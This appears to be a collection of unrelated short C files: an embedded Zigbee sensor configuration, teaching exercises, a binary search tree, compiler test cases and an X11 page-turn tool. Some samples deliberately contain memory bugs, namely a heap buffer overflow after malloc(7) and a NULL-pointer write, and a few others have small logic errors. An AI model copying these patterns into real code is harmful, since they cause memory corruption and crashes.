.appVersion = 0x00,
.stackVersion = 0x02,
.hwVersion = 0x00,
.manuName = ZCL_BASIC_MFG_NAME,
.modelId = ZCL_BASIC_MODEL_ID,
.powerSource = POWER_SOURCE_MAINS_1_PHASE,
.deviceEnable = TRUE,
};
const zclAttrInfo_t basic_attrTbl[] =
{
{ ZCL_ATTRID_BASIC_ZCL_VER, ZCL_DATA_TYPE_UINT8, ACCESS_CONTROL_READ, (u8*)&g_zcl_basicAttrs.zclVersion},
{ ZCL_ATTRID_BASIC_APP_VER, ZCL_DATA_TYPE_UINT8, ACCESS_CONTROL_READ, (u8*)&g_zcl_basicAttrs.appVersion},
{ ZCL_ATTRID_BASIC_STACK_VER, ZCL_DATA_TYPE_UINT8, ACCESS_CONTROL_READ, (u8*)&g_zcl_basicAttrs.stackVersion},
{ ZCL_ATTRID_BASIC_HW_VER, ZCL_DATA_TYPE_UINT8, ACCESS_CONTROL_READ, (u8*)&g_zcl_basicAttrs.hwVersion},
{ ZCL_ATTRID_BASIC_MFR_NAME, ZCL_DATA_TYPE_CHAR_STR, ACCESS_CONTROL_READ, (u8*)g_zcl_basicAttrs.manuName},
{ ZCL_ATTRID_BASIC_MODEL_ID, ZCL_DATA_TYPE_CHAR_STR, ACCESS_CONTROL_READ, (u8*)g_zcl_basicAttrs.modelId},
{ ZCL_ATTRID_BASIC_POWER_SOURCE, ZCL_DATA_TYPE_ENUM8, ACCESS_CONTROL_READ, (u8*)&g_zcl_basicAttrs.powerSource},
{ ZCL_ATTRID_BASIC_DEV_ENABLED, ZCL_DATA_TYPE_BOOLEAN, ACCESS_CONTROL_READ | ACCESS_CONTROL_WRITE, (u8*)&g_zcl_basicAttrs.deviceEnable},
{ ZCL_ATTRID_GLOBAL_CLUSTER_REVISION, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ, (u8*)&zcl_attr_global_clusterRevision},
};
#define ZCL_BASIC_ATTR_NUM sizeof(basic_attrTbl) / sizeof(zclAttrInfo_t)
/* Identify */
zcl_identifyAttr_t g_zcl_identifyAttrs =
{
.identifyTime = 0x0000,
};
const zclAttrInfo_t identify_attrTbl[] =
{
{ ZCL_ATTRID_IDENTIFY_TIME, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ | ACCESS_CONTROL_WRITE, (u8*)&g_zcl_identifyAttrs.identifyTime },
{ ZCL_ATTRID_GLOBAL_CLUSTER_REVISION, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ, (u8*)&zcl_attr_global_clusterRevision},
};
#define ZCL_IDENTIFY_ATTR_NUM sizeof(identify_attrTbl) / sizeof(zclAttrInfo_t)
#ifdef ZCL_IAS_ZONE
/* IAS Zone */
zcl_iasZoneAttr_t g_zcl_iasZoneAttrs =
{
.zoneState = ZONE_STATE_NOT_ENROLLED,
.zoneType = ZONE_TYPE_CONTACT_SWITCH,
.zoneStatus = 0x00,
.iasCieAddr = {0x00},
.zoneId = ZCL_ZONE_ID_INVALID,
};
const zclAttrInfo_t iasZone_attrTbl[] =
{
{ ZCL_ATTRID_ZONE_STATE, ZCL_DATA_TYPE_ENUM8, ACCESS_CONTROL_READ, (u8*)&g_zcl_iasZoneAttrs.zoneState },
{ ZCL_ATTRID_ZONE_TYPE, ZCL_DATA_TYPE_ENUM16, ACCESS_CONTROL_READ, (u8*)&g_zcl_iasZoneAttrs.zoneType },
{ ZCL_ATTRID_ZONE_STATUS, ZCL_DATA_TYPE_BITMAP16, ACCESS_CONTROL_READ, (u8*)&g_zcl_iasZoneAttrs.zoneStatus },
{ ZCL_ATTRID_IAS_CIE_ADDR, ZCL_DATA_TYPE_IEEE_ADDR, ACCESS_CONTROL_READ | ACCESS_CONTROL_WRITE, (u8*)g_zcl_iasZoneAttrs.iasCieAddr },
{ ZCL_ATTRID_ZONE_ID, ZCL_DATA_TYPE_UINT8, ACCESS_CONTROL_READ, (u8*)&g_zcl_iasZoneAttrs.zoneId},
{ ZCL_ATTRID_GLOBAL_CLUSTER_REVISION, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ, (u8*)&zcl_attr_global_clusterRevision},
};
#define ZCL_IASZONE_ATTR_NUM sizeof(iasZone_attrTbl) / sizeof(zclAttrInfo_t)
#endif
#ifdef ZCL_POLL_CTRL
/* Poll Control */
zcl_pollCtrlAttr_t g_zcl_pollCtrlAttrs =
{
.chkInInterval = 0x3840,
.longPollInterval = 0x14,
.shortPollInterval = 0x02,
.fastPollTimeout = 0x28,
.chkInIntervalMin = 0x00,
.longPollIntervalMin = 0x00,
.fastPollTimeoutMax = 0x00,
};
const zclAttrInfo_t pollCtrl_attrTbl[] =
{
{ ZCL_ATTRID_CHK_IN_INTERVAL, ZCL_DATA_TYPE_UINT32, ACCESS_CONTROL_READ | ACCESS_CONTROL_WRITE, (u8*)&g_zcl_pollCtrlAttrs.chkInInterval },
{ ZCL_ATTRID_LONG_POLL_INTERVAL, ZCL_DATA_TYPE_UINT32, ACCESS_CONTROL_READ, (u8*)&g_zcl_pollCtrlAttrs.longPollInterval },
{ ZCL_ATTRID_SHORT_POLL_INTERVAL, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ, (u8*)&g_zcl_pollCtrlAttrs.shortPollInterval },
{ ZCL_ATTRID_FAST_POLL_TIMEOUT, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ | ACCESS_CONTROL_WRITE, (u8*)&g_zcl_pollCtrlAttrs.fastPollTimeout },
{ ZCL_ATTRID_CHK_IN_INTERVAL_MIN, ZCL_DATA_TYPE_UINT32, ACCESS_CONTROL_READ, (u8*)&g_zcl_pollCtrlAttrs.chkInIntervalMin},
{ ZCL_ATTRID_LONG_POLL_INTERVAL_MIN,ZCL_DATA_TYPE_UINT32, ACCESS_CONTROL_READ, (u8*)&g_zcl_pollCtrlAttrs.longPollIntervalMin },
{ ZCL_ATTRID_FAST_POLL_TIMEOUT_MAX, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ, (u8*)&g_zcl_pollCtrlAttrs.fastPollTimeoutMax},
{ ZCL_ATTRID_GLOBAL_CLUSTER_REVISION, ZCL_DATA_TYPE_UINT16, ACCESS_CONTROL_READ, (u8*)&zcl_attr_global_clusterRevision},
};
#define ZCL_POLLCTRL_ATTR_NUM sizeof(pollCtrl_attrTbl) / sizeof(zclAttrInfo_t)
#endif
/**
* @brief Definition for simple contact sensor ZCL specific cluster
*/
const zcl_specClusterInfo_t g_sampleSensorClusterList[] =
{
{ZCL_CLUSTER_GEN_BASIC, MANUFACTURER_CODE_NONE, ZCL_BASIC_ATTR_NUM, basic_attrTbl, zcl_basic_register, sampleSensor_basicCb},
{ZCL_CLUSTER_GEN_IDENTIFY, MANUFACTURER_CODE_NONE, ZCL_IDENTIFY_ATTR_NUM, identify_attrTbl, zcl_identify_register, sampleSensor_identifyCb},
#ifdef ZCL_IAS_ZONE
{ZCL_CLUSTER_SS_IAS_ZONE, MANUFACTURER_CODE_NONE, ZCL_IASZONE_ATTR_NUM, iasZone_attrTbl, zcl_iasZone_register, sampleSensor_iasZoneCb},
#endif
#ifdef ZCL_POLL_CTRL
{ZCL_CLUSTER_GEN_POLL_CONTROL, MANUFACTURER_CODE_NONE, ZCL_POLLCTRL_ATTR_NUM, pollCtrl_attrTbl, zcl_pollCtrl_register, sampleSensor_pollCtrlCb},
#endif
};
u8 SAMPLE_SENSOR_CB_CLUSTER_NUM = (sizeof(g_sampleSensorClusterList)/sizeof(g_sampleSensorClusterList[0]));
/**********************************************************************
* FUNCTIONS
*/
#endif /* __PROJECT_TL_CONTACT_SENSOR__ */
|
the_stack_data/6765.c
|
#include <stdio.h>
#include <unistd.h>
/*
* #include <unistd.h>
*
* unsigned int sleep(unsigned int seconds);
*
* Description:
* sleep()会令目前的进程暂停, 直到达到参数seconds 所指定的时间, 或是被信号所中断.
* return value:
* 若进程暂停到参数seconds 所指定的时间则返回0, 若有信号中断则返回剩余秒数.
* */
int main(int argc, char * argv[]) {
int num = 0;
while(num < 100){
printf("I am run %d\n",num++);
int ret = sleep(2);
printf("sleep return is %d\n",ret);
}
return 0;
}
|
the_stack_data/3262275.c
|
/*
* create.c
*
* Description: Create and add new words to a file
* Author: Michal Gruszczynski
* Date: 21.05.2017
* Version: 1.0.0
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX 41
int main(int argc, char *argv[])
{
FILE *wp;
char words[MAX];
if((wp = fopen("slowa", "a+")) == NULL)
{
fprintf(stdin, "Can't open file 'slowa'\n");
exit(EXIT_FAILURE);
}
puts("Provide words to add them to a file.\n");
puts("To end enter: # \n");
while((fscanf(stdin, "%40s", words) == 1) && (words[0] != '#'))
{
fprintf(wp, "%s", words);
fprintf(wp, "%s", " ");
}
rewind(wp);
puts("Content of file: \n");
while(fscanf(wp, "%s", words) == 1)
{
puts(words);
}
puts("\nDone!\n");
if(fclose(wp) != 0)
{
fprintf(stderr, "Error while closing file!\n");
}
return 0;
}
|
the_stack_data/99462.c
|
/*
* Filename: rightrot.c
* Author: Thomas van der Burgt <[email protected]>
* Date: 23-FEB-2010
*
* The C Programming Language, second edition,
* by Brian Kernighan and Dennis Ritchie
*
* Exercise 2-9, page 51
*
* In a two's complement number system, x &= (x-1) deletes the rightmost
* 1-bit in x. Explain why. Use this observation to write a faster
* version of bitcount.
*
* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
* TODO
*/
#include <stdio.h>
#include <stdlib.h>
int bitcount(unsigned x);
int main(void) {
printf("%d\n", bitcount(0777));
return 0;
}
/* bitcount: count set bits in x */
int bitcount(unsigned x) {
int b;
for (b = 0; x != 0; x &= (x - 1)) b++;
return b;
}
|
the_stack_data/922938.c
|
#include <stdlib.h>
#include <stdio.h>
int
main(void)
{
int *a = malloc(7);
for (int i = 0; i < 10; i++)
a[i] = i;
printf("%d\n", a[6]);
return 0;
}
|
the_stack_data/242331801.c
|
#include <stdlib.h>
static int global;
int main() {
int *ptr = malloc(sizeof(int));
assert(global > 0);
return 0;
}
|
the_stack_data/62638291.c
|
#include <assert.h>
int main()
{
int signed_int=1;
float a_float=1;
double a_double=1;
long long long_long_int=1;
struct some
{
int f;
};
assert(*(unsigned long long int *)&long_long_int==1);
assert(*(unsigned int *)&signed_int==1);
assert(((struct some *)&signed_int)->f==1);
assert(*(int *)&a_float==1065353216);
assert(*(long long int *)&a_double==4607182418800017408l);
// other direction
signed_int=1065353216;
assert(*(float *)&signed_int==1.0f);
}
|
the_stack_data/72011631.c
|
// RUN: %clang_cc1 -emit-llvm -o - -fwritable-strings %s
int printf(const char *, ...);
int main(void) {
char *str = "abc";
str[0] = '1';
printf("%s", str);
}
|
the_stack_data/168893168.c
|
/*
* ========================================================
*
* Filename: acc.c
*
* Description: 测试openACC的程序
*
* Version: 1.0
* Created: 07/05/2013 10:07:17 AM
* Revision: none
* Compiler: gcc
*
* Author: liuyang1 (liuy), [email protected]
* Organization: ustc
*
* ========================================================
*/
#include <stdio.h>
#include <openacc.h>
#define N 100000000
int main(){
double pi=0.0f;
long i;
#pragma acc parallel loop reduction (+:pi)
for(i=0;i<N;i++){
double t=(double)((i+0.5)/N);
pi += 4.0/(1+t*t);
}
printf("pi=%16.15f\n",pi/N);
return 0;
}
|
the_stack_data/66068.c
|
#include <stddef.h>
extern void * malloc(size_t n);
extern void free(void * ptr);
struct bst {
int key;
int val;
struct bst * left;
struct bst * right;
};
struct bst * new_bst(int key, int val) {
struct bst * bst;
bst = (struct bst *) malloc(sizeof(struct bst));
bst->key = key;
bst->val = val;
bst->left = (struct bst *)NULL;
bst->right = (struct bst *)NULL;
return bst;
}
struct bst * search_bst(struct bst * bst, int key) {
for (;;) {
if (!bst)
return bst;
else if (key == bst->key)
return bst;
else if (key < bst->key)
bst = bst->left;
else
bst = bst->right;
}
}
void insert_bst(struct bst ** bst, int key, int val) {
for (;;) {
if (!(*bst)) {
*bst = new_bst(key, val);
return;
}
else if (key == (*bst)->key) {
(*bst)->val = val;
return;
}
else if (key < (*bst)->key)
bst = &(*bst)->left;
else
bst = &(*bst)->right;
}
}
// Returns a dangling bst node which needs to be freed after use
// Assumes bst is non-empty
struct bst * pop_min(struct bst ** bst_ptr) {
for (;;) {
if ((*bst_ptr)->left)
bst_ptr = &(*bst_ptr)->left;
else {
struct bst * ret = *bst_ptr;
*bst_ptr = (*bst_ptr)->right;
return ret;
}
}
}
void delete_bst(struct bst ** parent_ptr, int key) {
struct bst * parent = *parent_ptr;
if (!parent)
return;
else if (key == parent->key) {
if (parent->left) {
if (parent->right) {
struct bst * min = pop_min(&(parent->right));
parent->key = min->key;
parent->val = min->val;
free(min);
}
else {
*parent_ptr = parent->left;
free(parent);
}
}
else {
if (parent->right) {
*parent_ptr = parent->right;
free(parent);
}
else {
free(parent);
*parent_ptr = (struct bst *)NULL;
}
// Move free(parent) to here?
}
}
else {
// invariant tip: key != parent->key
for (;;) {
if (key < parent->key) {
if (!(parent->left))
return;
else if (key == parent->left->key) {
if (parent->left->left) {
if (parent->left->right) {
struct bst * min = pop_min(&(parent->left->right));
parent->left->key = min->key;
parent->left->val = min->val;
free(min);
return;
}
else {
struct bst * del = parent->left;
parent->left = parent->left->left;
free(del);
return;
}
}
else {
if (parent->left->right) {
struct bst * del = parent->left;
parent->left = parent->left->right;
free(del);
return;
}
else {
free(parent->left);
parent->left = (struct bst *)NULL;
return;
}
// free(parent)
}
// return;
}
else
parent = parent->left;
}
else {
if (!(parent->right))
return;
if (key == parent->right->key) {
if (parent->right->left) {
if (parent->right->right) {
struct bst * min = pop_min(&(parent->right->right));
parent->right->key = min->key;
parent->right->val = min->val;
free(min);
return;
}
else {
struct bst * del = parent->right;
parent->right = parent->right->left;
free(del);
return;
}
}
else {
if (parent->right->right) {
struct bst * del = parent->right;
parent->right = parent->right->right;
free(del);
return;
}
else {
free(parent->right);
parent->right = (struct bst *)NULL;
return;
}
// free(parent)
}
// return;
}
else
parent = parent->right;
}
}
}
}
|
the_stack_data/187644209.c
|
#include <stdio.h>
int main()
{
int a, b;
scanf("%i %i", &a, &b);
printf("My twin is %i years old and they are %i years older than me", a+b, b);
return 0;
}
|
the_stack_data/1111580.c
|
#include <stdio.h>
#include <string.h>
#include <ctype.h>
int validade(char *S) {
int tamanho = strlen(S);
if (tamanho <= 6 || tamanho >= 32) return 0;
int maiuscula = 0, minuscula = 0, numero = 0;
for (int i = 0; i < tamanho - 1; i++) {
if (islower(S[i])) maiuscula = 1;
else if(isupper(S[i])) minuscula = 1;
else if(isdigit(S[i])) numero = 1;
else return 0;
}
return maiuscula * minuscula * numero;
}
int main() {
char S[40];
fgets(S, 40, stdin);
printf(validade(S) ? "Senha valida.\n" : "Senha invalida.\n");
}
//https://pt.stackoverflow.com/q/240042/101
|
the_stack_data/9513212.c
|
// Check gnutools are invoked with propagated values for -mabi and -march.
//
// This test also checks the default -march/-mabi for certain targets.
// 32-bit checks
// Check default on riscv32-unknown-elf
// RUN: %clang -target riscv32-unknown-elf --gcc-toolchain=%S/Inputs/basic_riscv32_tree -fno-integrated-as %s -### -c \
// RUN: 2>&1 | FileCheck -check-prefix=CHECK-RV32IMAC-ILP32 %s
// Check default on riscv32-unknown-linux-gnu
// RUN: %clang -target riscv32-unknown-linux-gnu --gcc-toolchain=%S/Inputs/basic_riscv32_tree -fno-integrated-as %s -### -c \
// RUN: 2>&1 | FileCheck -check-prefix=CHECK-RV32IMAFDC-ILP32D %s
// Check default when -march=rv32g specified
// RUN: %clang -target riscv32 --gcc-toolchain=%S/Inputs/basic_riscv32_tree -fno-integrated-as %s -### -c -march=rv32g \
// RUN: 2>&1 | FileCheck -check-prefix=CHECK-RV32G-ILP32D %s
// CHECK-RV32IMAC-ILP32: "{{.*}}as{{(.exe)?}}" "-mabi" "ilp32" "-march" "rv32imac"
// CHECK-RV32IMAFDC-ILP32D: "{{.*}}as{{(.exe)?}}" "-mabi" "ilp32d" "-march" "rv32imafdc"
// CHECK-RV32G-ILP32D: "{{.*}}as{{(.exe)?}}" "-mabi" "ilp32d" "-march" "rv32g"
// 64-bit checks
// Check default on riscv64-unknown-elf
// RUN: %clang -target riscv64-unknown-elf --gcc-toolchain=%S/Inputs/basic_riscv64_tree -fno-integrated-as %s -### -c \
// RUN: 2>&1 | FileCheck -check-prefix=CHECK-RV64IMAC-LP64 %s
// Check default on riscv64-unknown-linux-gnu
// RUN: %clang -target riscv64-unknown-linux-gnu --gcc-toolchain=%S/Inputs/basic_riscv64_tree -fno-integrated-as %s -### -c \
// RUN: 2>&1 | FileCheck -check-prefix=CHECK-RV64IMAFDC-LP64D %s
// Check default when -march=rv64g specified
// RUN: %clang -target riscv64 --gcc-toolchain=%S/Inputs/basic_riscv64_tree -fno-integrated-as %s -### -c -march=rv64g \
// RUN: 2>&1 | FileCheck -check-prefix=CHECK-RV64G-LP64D %s
// CHECK-RV64IMAC-LP64: "{{.*}}as{{(.exe)?}}" "-mabi" "lp64" "-march" "rv64imac"
// CHECK-RV64IMAFDC-LP64D: "{{.*}}as{{(.exe)?}}" "-mabi" "lp64d" "-march" "rv64imafdc"
// CHECK-RV64G-LP64D: "{{.*}}as{{(.exe)?}}" "-mabi" "lp64d" "-march" "rv64g"
|
the_stack_data/148117.c
|
#include <stdio.h>
int main()
{
int n, i;
printf("plz input n=? ");
scanf("%d", &n);
for ( i = 2; i < n; i ++)
{
if (n%i==0)
break;
}
if (i<n)
printf("%d is not a prime number.\n",n);
else
printf("%d is a prime number.\n",n);
return 0;
}
|
the_stack_data/122606.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h> /* memcpy */
#include <math.h>
#include <stdint.h>
typedef struct intfield1
{
int *m;
int size[1];
int is_device_field;
} intfield1;
void memcpy_field_intfield1(intfield1 dst, intfield1 src)
{
memcpy(dst.m, src.m, (sizeof(*dst.m))*dst.size[0]);
}
int size_intfield1(intfield1 field, int index)
{
return field.size[index];
}
intfield1 alloc_host_field_intfield1(int size_0)
{
intfield1 field;
field.m = (int*)malloc((sizeof(*field.m))*size_0);
field.size[0] = size_0;
field.is_device_field = 0;
return field;
}
void free_host_field_intfield1(intfield1 field)
{
free(field.m);
}
intfield1 alloc_device_field_intfield1(int size_0)
{
intfield1 field;
field.m = (int*)malloc((sizeof(*field.m))*size_0);
field.size[0] = size_0;
field.is_device_field = 0;
return field;
}
void free_device_field_intfield1(intfield1 field)
{
free(field.m);
}
typedef struct intmat1
{
int m[1];
} intmat1;
int printf(const char *fmt, ...); /* TODO: Remove */
typedef intfield1 Field; /* One-dimensional integer field type */
int main()
{
int i;
int N = 5;
intfield1 a_data = alloc_host_field_intfield1(N);
intfield1 b_data = alloc_host_field_intfield1(N);
intfield1 a;
intfield1 b;
a_data.m[1*0] = 1;
a_data.m[1*1] = 2;
a_data.m[1*2] = 3;
a_data.m[1*3] = 4;
a_data.m[1*4] = 5;
b_data.m[1*0] = 10;
b_data.m[1*1] = 20;
b_data.m[1*2] = 30;
b_data.m[1*3] = 40;
b_data.m[1*4] = 50;
a = alloc_device_field_intfield1(N);
b = alloc_device_field_intfield1(N);
memcpy_field_intfield1(a, a_data);
memcpy_field_intfield1(b, b_data);
{
int id_0;
for (id_0 = 0; id_0 < size_intfield1(a, 0); ++id_0) {
intmat1 id;
id.m[1*0] = id_0;
a.m[1*id.m[1*0]] += b.m[1*id.m[1*0]];
}
}
memcpy_field_intfield1(a_data, a);
for (i = 0; i < N; ++i) {
printf("%i ", a_data.m[1*i]);
}
free_host_field_intfield1(a_data);
free_host_field_intfield1(b_data);
free_device_field_intfield1(a);
free_device_field_intfield1(b);
return 0;
}
|
the_stack_data/90765318.c
|
/* PR c/7652 */
/* { dg-do compile } */
/* { dg-options "-Wimplicit-fallthrough" } */
extern void bar (int);
void
f (int i)
{
switch (i)
{
case 1:
if (i)
{
bar (0);
break;
}
else if (i > 10)
{
bar (1);
__attribute__((fallthrough));
}
else
break;
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i) /* { dg-warning "statement may fall through" } */
bar (2);
else if (i > 10)
{
bar (3);
__attribute__((fallthrough));
}
else
break;
case 2:
bar (4);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
break;
}
else if (i > 10) /* { dg-warning "statement may fall through" } */
{
bar (1);
}
else
break;
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
break;
}
else if (i > 10)
{
bar (1);
break;
}
else
break;
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
break;
}
else if (i > 10)
{
bar (1);
break;
}
else
bar (2); /* { dg-warning "statement may fall through" } */
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
__attribute__((fallthrough));
}
else if (i > 10)
{
bar (1);
break;
}
else
bar (2); /* { dg-warning "statement may fall through" } */
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
__attribute__((fallthrough));
}
else if (i > 10)
{
bar (1);
__attribute__((fallthrough));
}
else
break;
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
__attribute__((fallthrough));
}
else if (i > 10)
{
bar (1);
__attribute__((fallthrough));
}
else
bar (2); /* { dg-warning "statement may fall through" } */
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
__attribute__((fallthrough));
}
else if (i > 10) /* { dg-warning "statement may fall through" } */
{
bar (1);
bar (2);
}
else
__attribute__((fallthrough));
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i) /* { dg-warning "statement may fall through" } */
{
bar (0);
}
else if (i > 10)
{
bar (1);
}
else
{
bar (1);
__attribute__((fallthrough));
}
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
__attribute__((fallthrough));
}
else if (i > 10)
{
bar (1);
break;
}
else
{
bar (1);
__attribute__((fallthrough));
}
case 2:
bar (99);
}
switch (i)
{
case 1:
if (i)
{
bar (0);
break;
}
else if (i > 10) /* { dg-warning "statement may fall through" } */
{
bar (1);
}
else
{
bar (1);
__attribute__((fallthrough));
}
case 2:
bar (99);
}
}
|
the_stack_data/105140.c
|
//Kadane’s algorithm
#include <stdio.h>
void contiguousMax(int a[],int n){
int sum=0,max=0;
for(int i=0;i<n;i++){
sum=sum+a[i];
if(sum<0){
sum=0;
}
if(sum>max){
max=sum;
}
}
printf("Maximum contiguous sum is: %d",max);
}
int main()
{
int a[]={-3, -2, 7, 1, -4, 1, 7, -5};
int n=sizeof(a)/sizeof(a[0]);
contiguousMax(a,n);
return 0;
}
|
the_stack_data/879856.c
|
// Q1Q2.c [180924]
// Code for questions 1 and 2 from exercise 1.
#include <stdio.h>
#include <malloc.h>
typedef int *IntegerPointer;
void P_Q1(void)
{
IntegerPointer A, B;
A = (IntegerPointer)malloc(sizeof(int));
B = (IntegerPointer)malloc(sizeof(int));
*A = 19;
*B = 5;
A = B;
*B = 7;
printf("%d\n", *A);
}
void P_Q2 ( void )
{
int *A, *B;
A = (int *)malloc(sizeof(int));
B = (int *)malloc(sizeof(int));
*A=19;
*B=5;
*A = *B;
*B = 7;
printf("%d %d\n",*A, *B);
}
void P_Q4 (void)
{
int *pA;
int tmp;
pA = NULL;
printf ("Can we read the location?\n");
tmp = *pA;
printf ("Address NULL seems to contain %08ld\n", tmp);
printf ("Can we write it?\n");
*pA = 42; // NOT GOOD!
*pA = tmp; // restore what was there
printf ("Seems to have worked\n");
printf ("Value is: %d\n", *pA);
}
void main (void)
{
printf ("Output P_Q1\n");
P_Q1();
printf ("Output P_Q2\n");
P_Q2();
printf ("Output P_Q4\n");
P_Q4();
}
|
the_stack_data/231392350.c
|
/*
FUNCTION
<<strupr>>---force string to uppercase
INDEX
strupr
ANSI_SYNOPSIS
#include <string.h>
char *strupr(char *<[a]>);
TRAD_SYNOPSIS
#include <string.h>
char *strupr(<[a]>)
char *<[a]>;
DESCRIPTION
<<strupr>> converts each character in the string at <[a]> to
uppercase.
RETURNS
<<strupr>> returns its argument, <[a]>.
PORTABILITY
<<strupr>> is not widely portable.
<<strupr>> requires no supporting OS subroutines.
QUICKREF
strupr */
#include <string.h>
#include <ctype.h>
char *
strupr (a)
char *a;
{
char *ret = a;
while (*a != '\0')
{
if (islower (*a))
*a = toupper (*a);
++a;
}
return ret;
}
|
the_stack_data/117326921.c
|
/*
Page Fix
Copyright (c) 2012 by Flyn - MIT license
contains code from untouchable by baf (www.fabiszewski.net), with MIT license:
http://www.opensource.org/licenses/mit-license.php
*/
#include <stdio.h> // printf
#include <stdbool.h> // bool
#include <string.h> // memset
#include <unistd.h> // usleep
#include <X11/XKBlib.h>
void pageForward(Display *display);
void SendMouseEvent(Display *display, int button, int x, int y, bool pressed);
bool debug = false;
int main(int argc, char * argv[]) {
Window root;
Display * display;
XEvent xev;
int screenWidth;
int screenHeight;
display = XOpenDisplay(NULL);
if (display == NULL) {
if (debug) printf("Could not open display\n");
return 1;
}
root = DefaultRootWindow(display);
screenWidth = WidthOfScreen(DefaultScreenOfDisplay(display));
screenHeight = HeightOfScreen(DefaultScreenOfDisplay(display));
if (debug) printf("Screen width: %i\n", screenWidth);
if (debug) printf("Screen height: %i\n", screenHeight);
XAllowEvents(display, AsyncBoth, CurrentTime);
bool go = true;
// We grab
XGrabButton(display, AnyButton, AnyModifier, root, true, ButtonPressMask | ButtonReleaseMask, GrabModeAsync, GrabModeAsync, None, None);
while (go) {
XNextEvent(display, &xev);
switch(xev.type) {
case ButtonPress:
if (debug) printf("Button press - %i\n", xev.xbutton.button);
if (debug) printf("Coordinates - %i, %i\n", xev.xbutton.x, xev.xbutton.y);
break;
case ButtonRelease:
if (debug) printf("Button release - %i\n", xev.xbutton.button);
if (xev.xbutton.y>screenHeight-400)
// If we touch on the bottom side of the screen, we go to the next page
pageForward(display);
else if (xev.xbutton.x>screenWidth-200 && xev.xbutton.y<200)
// If we touch the upper right corner, we quit
go = false;
else
// If touched anywhere else let's apply a simple touch where we are
// It's not perfect, because it will disable gestures
SendMouseEvent(display, Button1, xev.xbutton.x, xev.xbutton.y, true);
usleep(10000);
SendMouseEvent(display, Button1, xev.xbutton.x, xev.xbutton.y, false);
break;
}
}
XUngrabButton(display, AnyButton, AnyModifier, root);
XCloseDisplay(display);
return 0;
}
void pageForward(Display *display) {
SendMouseEvent(display, Button1, 500, 300, true);
usleep(10000);
SendMouseEvent(display, Button1, 500, 300, false);
}
void pageBackward(Display *display) {
SendMouseEvent(display, Button1, 50, 300, true);
usleep(10000);
SendMouseEvent(display, Button1, 50, 300, false);
}
void SendMouseEvent(Display *display, int button, int x, int y, bool pressed) {
XEvent event;
memset(&event, 0, sizeof(event));
event.xbutton.type = pressed ? ButtonPress : ButtonRelease;
event.xbutton.button = button;
event.xbutton.same_screen = true;
XQueryPointer(display, RootWindow(display, DefaultScreen(display)),
&event.xbutton.root, &event.xbutton.window, &event.xbutton.x_root,
&event.xbutton.y_root, &event.xbutton.x, &event.xbutton.y, &event.xbutton.state);
event.xbutton.subwindow = event.xbutton.window;
while (event.xbutton.subwindow) {
event.xbutton.window = event.xbutton.subwindow;
XQueryPointer(display, event.xbutton.window,
&event.xbutton.root, &event.xbutton.subwindow, &event.xbutton.x_root,
&event.xbutton.y_root, &event.xbutton.x, &event.xbutton.y, &event.xbutton.state);
}
event.xbutton.x = x;
event.xbutton.y = y;
if (debug) printf("Sending %i %i event: %ix%i\n", event.xbutton.type, event.xbutton.button, x, y);
if (!XSendEvent(display, PointerWindow, true, 0xfff, &event))
printf("Failed to send mouse event\n");
XFlush(display);
}
|
the_stack_data/90764090.c
|
int main()
{
int a = 68;
a = 5-a;
return a;
}
|
the_stack_data/48574393.c
|
/****************************************************************************
* tools/initialconfig.c
*
* Copyright (C) 2017 Gregory Nutt. All rights reserved.
* Author: Gregory Nutt <[email protected]>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name NuttX nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/****************************************************************************
* Included Files
****************************************************************************/
#define _GNU_SOURCE 1
#include <sys/stat.h>
#include <stdbool.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
/****************************************************************************
* Pre-processor Definitions
****************************************************************************/
#define MAX_LINE 512
#define MAX_ARCHITECTURES 32
#define MAX_MCUS 64
#define MAX_BOARDS 128
/****************************************************************************
* Private Types
